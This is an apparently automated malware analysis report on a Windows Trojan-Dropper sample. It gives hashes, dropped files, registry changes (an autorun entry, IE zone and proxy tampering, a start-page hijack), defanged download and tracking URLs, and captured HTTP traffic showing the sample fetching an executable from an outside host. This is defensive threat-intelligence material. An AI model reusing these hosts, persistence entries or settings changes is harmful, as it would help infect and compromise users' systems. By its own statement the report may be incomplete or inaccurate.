Gen.Variant.Zusy.110367_56ddb80a1e

by malwarelabrobot on July 24th, 2015 in Malware Descriptions.

Trojan-Dropper.Win32.Sysn.azxe (Kaspersky), Gen:Variant.Zusy.110367 (B) (Emsisoft), Gen:Variant.Zusy.110367 (AdAware), Trojan-PSW.Win32.MSNPassword.FD, Trojan.Win32.FlyStudio.FD, mzpefinder_pcap_file.YR, GenericEmailWorm.YR, TrojanFlyStudio.YR (Lavasoft MAS)
Behaviour: Trojan-Dropper, Trojan-PSW, Trojan, Worm, EmailWorm


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 56ddb80a1ebb19055c510bfca1f92294
SHA1: 4372065e8372954bf97fc670fa6e36a190a5f705
SHA256: 1adca530705c1432066dde89570f22492124642524e73c60221d29db6d88198f
SSDeep: 49152:SEAlc zI4R961HNq 89ZYhqtg2hB9VXfBwvBoVinSofdD4oUZCVinSofdD4oUZU:0d zf3Wy62AnSoFDRAnSoFD6AnSoFDf
Size: 4952064 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftWindowsShortcutfile, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171, UPolyXv05_v6
Company: no certificate found
Created at: 2014-10-03 06:47:24
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-Dropper. Trojan program, intended for stealth installation of other malware into user's system.

Payload

Behaviour Description
EmailWorm Worm can send e-mails.


Process activity

The Trojan creates the following process(es):

setup.exe:1836
taskkill.exe:916
%original file name%.exe:1616
regedit.exe:572

The Trojan injects its code into the following process(es):
No processes have been created.

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process setup.exe:1836 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\index.dat (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2E221QAM\OEM[1].htm (17 bytes)
C:\oem (34 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\A781Y74F\conv[1].txt (1 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@100public[1].txt (219 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@doudousoft[1].txt (0 bytes)

The process %original file name%.exe:1616 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
C:\setup.exe (9606 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Desktop\ÍøÖ·µ¼º½.lnk (729 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\PX45Y581\wang[1].htm (25 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@doudousoft[1].txt (207 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (400 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\PX45Y581\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2E221QAM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\URYRI5ET\config[1].htm (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\URYRI5ET\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\A781Y74F\desktop.ini (67 bytes)

Registry activity

The process setup.exe:1836 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Internet Explorer\International]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2E 10 87 E3 B3 D8 26 ED 59 6F AF A1 13 E1 76 36"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process taskkill.exe:916 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B4 A1 75 48 17 B1 AA 0F FE E5 61 2D D8 09 6C 18"

The process %original file name%.exe:1616 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCR\TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32]
"(Default)" = "%System%\oleacc.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "74 75 98 74 C6 C9 2D CE 12 D9 C0 1B F5 D5 05 D6"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.2345.com/?26263"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Play_Background_Sounds" = "yes"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"smss" = "c:\smss.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process regedit.exe:572 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FB 3D C8 0A 22 96 27 A2 EE 9E 2C 63 5B DC 0E 79"

Dropped PE files

MD5 File path
e4e325e3dbcb186124574f00f8676688 c:\setup.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: ????
Product Name: ????
Product Version: 1.0.0.0
Legal Copyright: ???? ????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.0.0.0
File Description: ????
Comments: ????
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 758451 761856 4.4944 a9933e2590e237584ef6cd1dbf82471f
.rdata 765952 3985990 3989504 4.99757 e7026a65a6b3e3cd3c8b090ed127f82f
.data 4755456 283752 73728 3.79412 9bd8d7bcc528174b74da5eaf9e1079bd
.rsrc 5042176 122304 122880 2.88752 c96d774d59c0ca7f998209e0aeb9ade6

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://56.doudousoft.com/ini/liuliang/wang.html 222.191.251.197
hxxp://56.doudousoft.com/updata/305344326303316304274376/wang.exe 222.191.251.197
hxxp://validate.100public.com.cname.yunjiasu-cdn.net/conv.txt?.6889612123456789 162.159.208.103
hxxp://validate.100public.com.cname.yunjiasu-cdn.net/API/OEM.php?sid=5&vid=8460ee7933ad3399774fd7d5e2350863&_=.30037651234567 162.159.208.103
hxxp://validate.100public.com/API/OEM.php?sid=5&vid=8460ee7933ad3399774fd7d5e2350863&_=.30037651234567 162.159.208.103
hxxp://56.doudousoft.com/updata/......../wang.exe 222.191.251.197
hxxp://56.doudousoft.com/ini/liuliang/config.html 222.191.251.197
hxxp://validate.100public.com/conv.txt?.6889612123456789 162.159.208.103


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Unsupported/Fake Internet Explorer Version MSIE 5.
ET POLICY Windows 98 User-Agent Detected - Possible Malware or Non-Updated System

Traffic

GET /updata/......../wang.exe HTTP/1.1
Host: 56.doudousoft.com
Accept: */*
Referer: hXXp://56.doudousoft.com/updata/........
User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Range: bytes=1545828-
Pragma: no-cache
Cache-Control: no-cache
Connection: close


HTTP/1.1 206 Partial Content
Connection: close
Date: Thu, 23 Jul 2015 08:08:55 GMT
Content-Length: 1030556
Content-Type: application/octet-stream
Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe
Content-Range: bytes 1545828-2576383/2576384
Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT
Accept-Ranges: bytes
ETag: "af2c7ef4d9e1cf1:509e"
Server: IIS
X-Powered-By: WAF/2.0
.................................f...f...f...f...f...f...f...f...f...f
...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f..
.f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f
...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f..
.f...f...f...f...f...f...f...f........................................
......................................................................
......................................................................
.....................................`................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
............%B........................................................
.......fHTTP/1.1 206 Partial Content..Connection: close..Date: Thu, 23
 Jul 2015 08:08:55 GMT..Content-Length: 1030556..Content-Type: applica
tion/octet-stream..Content-Location: hXXp://56.doudousoft.com/updata/.
......./wang.exe..Content-Range: bytes 1545828-2576383/2576384..Last-M
odified: Tue, 07 Oct 2014 02:54:04 GMT..Accept-Ranges: bytes..ETag: "a
f2c7ef4d9e1cf1:509e"..Server: IIS..X-Powered-By: WAF/2.0..............
.....................f...f...f...f...f...f...f...f...f...f...f...f
<<< skipped >>>


GET /updata/......../wang.exe HTTP/1.1
Host: 56.doudousoft.com
Accept: */*
Referer: hXXp://56.doudousoft.com/updata/........
User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Range: bytes=1803466-
Pragma: no-cache
Cache-Control: no-cache
Connection: close


HTTP/1.1 206 Partial Content
Connection: close
Date: Thu, 23 Jul 2015 08:08:51 GMT
Content-Length: 772918
Content-Type: application/octet-stream
Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe
Content-Range: bytes 1803466-2576383/2576384
Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT
Accept-Ranges: bytes
ETag: "af2c7ef4d9e1cf1:509e"
Server: IIS
X-Powered-By: WAF/2.0
...........................f...f...f...f...f...f...f...f...f...f...f..
.f...f...f...f...f...f...f...f...f...f...f..............3T............
...............................................*..<a..W}..u........
......................................................................
......}R..f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...
[email protected].................................
.0Q..;a..u............................................................
...................\...?...?............................}R..f...f...f.
..f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...
....................*..<a..f...u...................................
........................................j...\...#...#...#...$...$...$.
..$...$...$...#...w....................m%..f...f...f...f...f...f...f..
.f...f...f...f...f...f...f...f...f...f...g.................0..........
..........................................................w...\...1...
#...#...$...$...$...$...$...$...$...$...$...$...$...$...$...$...#.....
...............HTTP/1.1 206 Partial Content..Connection: close..Date: 
Thu, 23 Jul 2015 08:08:51 GMT..Content-Length: 772918..Content-Type: a
pplication/octet-stream..Content-Location: hXXp://56.doudousoft.com/up
data/......../wang.exe..Content-Range: bytes 1803466-2576383/2576384..
Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT..Accept-Ranges: bytes..ET
ag: "af2c7ef4d9e1cf1:509e"..Server: IIS..X-Powered-By: WAF/2.0........
.....................f...f...f...f...f...f...f...f...f...f...f...f
<<< skipped >>>


GET /updata/......../wang.exe HTTP/1.1
Host: 56.doudousoft.com
Accept: */*
Referer: hXXp://56.doudousoft.com/updata/........
User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Pragma: no-cache
Cache-Control: no-cache
Connection: close


HTTP/1.1 200 OK
Connection: close
Date: Thu, 23 Jul 2015 08:08:42 GMT
Content-Length: 2576384
Content-Type: application/octet-stream
Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe
Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT
Accept-Ranges: bytes
ETag: "af2c7ef4d9e1cf1:509e"
Server: IIS
X-Powered-By: WAF/2.0
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......pI..4(..4(..
4(..O4..1(..b7...(...4...(.......(..4(...*..V7../(...7..'(.......(...7
..g(..4(...(......5(..Rich4(..........................PE..L....U3T....
......................................@..........................`*...
..............................................@.....#.hW..............
......................................................................
.......................text............................... ..`.rdata..
......... ..................@[email protected]...............................@.
...rsrc...hW....#..`..................@..@............................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>


GET /updata/......../wang.exe HTTP/1.1
Host: 56.doudousoft.com
Accept: */*
Referer: hXXp://56.doudousoft.com/updata/........
User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Range: bytes=2061104-
Pragma: no-cache
Cache-Control: no-cache
Connection: close


HTTP/1.1 206 Partial Content
Connection: close
Date: Thu, 23 Jul 2015 08:09:03 GMT
Content-Length: 515280
Content-Type: application/octet-stream
Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe
Content-Range: bytes 2061104-2576383/2576384
Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT
Accept-Ranges: bytes
ETag: "af2c7ef4d9e1cf1:509e"
Server: IIS
X-Powered-By: WAF/2.0
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.......



GET /updata/......../wang.exe HTTP/1.1
Host: 56.doudousoft.com
Accept: */*
Referer: hXXp://56.doudousoft.com/updata/........
User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Range: bytes=257638-
Pragma: no-cache
Cache-Control: no-cache
Connection: close


HTTP/1.1 206 Partial Content
Connection: close
Date: Thu, 23 Jul 2015 08:08:51 GMT
Content-Length: 2318746
Content-Type: application/octet-stream
Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe
Content-Range: bytes 257638-2576383/2576384
Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT
Accept-Ranges: bytes
ETag: "af2c7ef4d9e1cf1:509e"
Server: IIS
X-Powered-By: WAF/2.0
....Y.C.3...~2.D$8.O.PQ...L.....}..V.E.B..|...C.;.|...u..T$<.....k.
.L$..D$0.....D$..9\..~...3..L$(_^][d........$..........j.h&.K.d.....Pd
.%..........SU..VW.L$..6....E...$.........H..P..D...L$.P.4.....$......
$........$....SV.T$8QRP...........t#.L$...$.........D$..9\............
..D$0...........$....;.......u...$.........D$..9\........$....SVQ...-.
.......tT..u......B.PS.t.....$.....D$0;.t....Q...RS.7...P..$....P.....
....u...$.....D$0;.|[email protected].;.}[email protected]..
.^....L$.....$.........D$..9\.........3....L$4......E...$......H..P..D
...L$4P..........D$LW.Q.P...|$..T$P.%......D$.t;..9\..L$4..$......t$4.
c....L$...$.........t$..K....D$........$........$....WQ.H.RQ.T$XSR....
................D$H..$.....D$..1..ti.U..F.;B.|V.N..T$..G...RP...}.....
.D$...T....L$..T$..F.QSRPW..........D$...1....6...|$..D$...u..........
..L$.SQ...'.......ub.U..B.PS..S...D$.f....f.C....{....p..K..U.....J...
S........D$.......M..Q..H..L...T$.R...........t6..9\..L$4..$......t$4.
.....L$...$.........t$.........S.D$..E<...L$..V..F.j.QRP.........9\
..L$4..$......tHTTP/1.1 206 Partial Content..Connection: close..Date: 
Thu, 23 Jul 2015 08:08:51 GMT..Content-Length: 2318746..Content-Type: 
application/octet-stream..Content-Location: hXXp://56.doudousoft.com/u
pdata/......../wang.exe..Content-Range: bytes 257638-2576383/2576384..
Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT..Accept-Ranges: bytes..ET
ag: "af2c7ef4d9e1cf1:509e"..Server: IIS..X-Powered-By: WAF/2.0......Y.
C.3...~2.D$8.O.PQ...L.....}..V.E.B..|...C.;.|...u..T$<.....k..L
<<< skipped >>>


GET /conv.txt?.6889612123456789 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: validate.100public.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 23 Jul 2015 08:08:54 GMT
Content-Type: text/plain
Content-Length: 1521
Connection: keep-alive
Set-Cookie: __cfduid=d95da6de3325bdf9955353bba832f874e1437638933; expires=Fri, 22-Jul-16 08:08:53 GMT; path=/; domain=.100public.com; HttpOnly
Content-Encoding: gzip
Last-Modified: Mon, 23 Mar 2015 05:11:02 GMT
Accept-Ranges: bytes
ETag: "4019fc22765d01:0"
Vary: Accept-Encoding
X-Powered-By: ASP.NET
ServerTag: G2S3
Server: yunjiasu-nginx
CF-RAY: 20a5e6680c5e0f45-FRA
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".........{?...............v.N.y
~0=8.t.Mf...............8...?...........?...............,..x.<..f..
w.>....[................$..|.g..f.l..l?.t...t.6}x?......o..........
{.>........d..._...S...O.f3...3...6..Oww....{0.....N.....~.....i...
Sn......s....O'.....Nvf.~.;...:;?...zN..................!3..w..d.Ow...
......;.W~. .1...?._.m....'..?398.wp...d.h.o...y~...............}K.{{.
............w.f;.O.=x.i.p....Z................t..~6.7{..g4..........YN
Ty........w.y....w.g...._.m.............e..;....:..7...lr?#.....?._...
................I.O&;...,..=".......|w7..p......'.y..?......_$........
.............w.......O.....iv>;.~:.......wp....}.3;^.;.........L.&;
.<...3y.O.?.?....^............L.3".....f.?..=..!........./..?.?.c.\
..O.Y~.A>#ZL&.9...t......;..l.....=...{....1.......dr.K..4.>....
x.w.|6....v.......`..`w.0....#}H........<...g.Y>.>...t2..>
[email protected]....|.............|z...;.....Q.d.........{.,.G.
p.O..J../h...O............g{.v.......4.{S.. ..7.......................
......*6..|....l2...<xx...`.>.....]H..V......g...............?x.
.p.p:y0...C{;....{;.v.;.ij....... .'..f..L_...M..?x....LH......?8xH.@.
x(.`f].$.......|...9.Xv...`g....4.F.......Ow'...t..~.i....'.q.7....._0
...M?=.......{{.3..{...{....?.0.4....H~.S......k9....H..Lv.Owx........
.N..................9..s.).O/<..{...........'.{........M...O.....Pk
..?........?..............?......?...s......S..?...l.......l.r0.9.
<<< skipped >>>

GET /API/OEM.php?sid=5&vid=8460ee7933ad3399774fd7d5e2350863&_=.30037651234567 HTTP/1.1


Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: validate.100public.com
Connection: Keep-Alive
Cookie: __cfduid=d95da6de3325bdf9955353bba832f874e1437638933


HTTP/1.1 200 OK
Date: Thu, 23 Jul 2015 08:08:54 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.28
X-Powered-By: ASP.NET
ServerTag: G2S3
Server: yunjiasu-nginx
CF-RAY: 20a5e66c8ce20f45-FRA
Content-Encoding: gzip
21............242VPP.K-*....K.M........a....F.f.......0..HTTP/1.1 200 
OK..Date: Thu, 23 Jul 2015 08:08:54 GMT..Content-Type: text/html..Tran
sfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding.
.X-Powered-By: PHP/5.3.28..X-Powered-By: ASP.NET..ServerTag: G2S3..Ser
ver: yunjiasu-nginx..CF-RAY: 20a5e66c8ce20f45-FRA..Content-Encoding: g
zip..21............242VPP.K-*....K.M........a....F.f.......0..



GET /updata/......../wang.exe HTTP/1.1
Host: 56.doudousoft.com
Accept: */*
Referer: hXXp://56.doudousoft.com/updata/........
User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Range: bytes=772914-
Pragma: no-cache
Cache-Control: no-cache
Connection: close


HTTP/1.1 206 Partial Content
Connection: close
Date: Thu, 23 Jul 2015 08:08:50 GMT
Content-Length: 1803470
Content-Type: application/octet-stream
Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe
Content-Range: bytes 772914-2576383/2576384
Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT
Accept-Ranges: bytes
ETag: "af2c7ef4d9e1cf1:509e"
Server: IIS
X-Powered-By: WAF/2.0
...(.]..2......M.......M.......P.].........u........M..C....M.........
...].........M..$......].........M..A-...(.].........M..--...M...<.
0....P.]..........M.........].........M.....2....M... .'......]..p....
..]..f......M..........M... ......0.]..D....`.]..:........]...........
].."......h.]...........].........M.........].........M.......@.].....
....M.......h.].......................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
............HTTP/1.1 206 Partial Content..Connection: close..Date: Thu
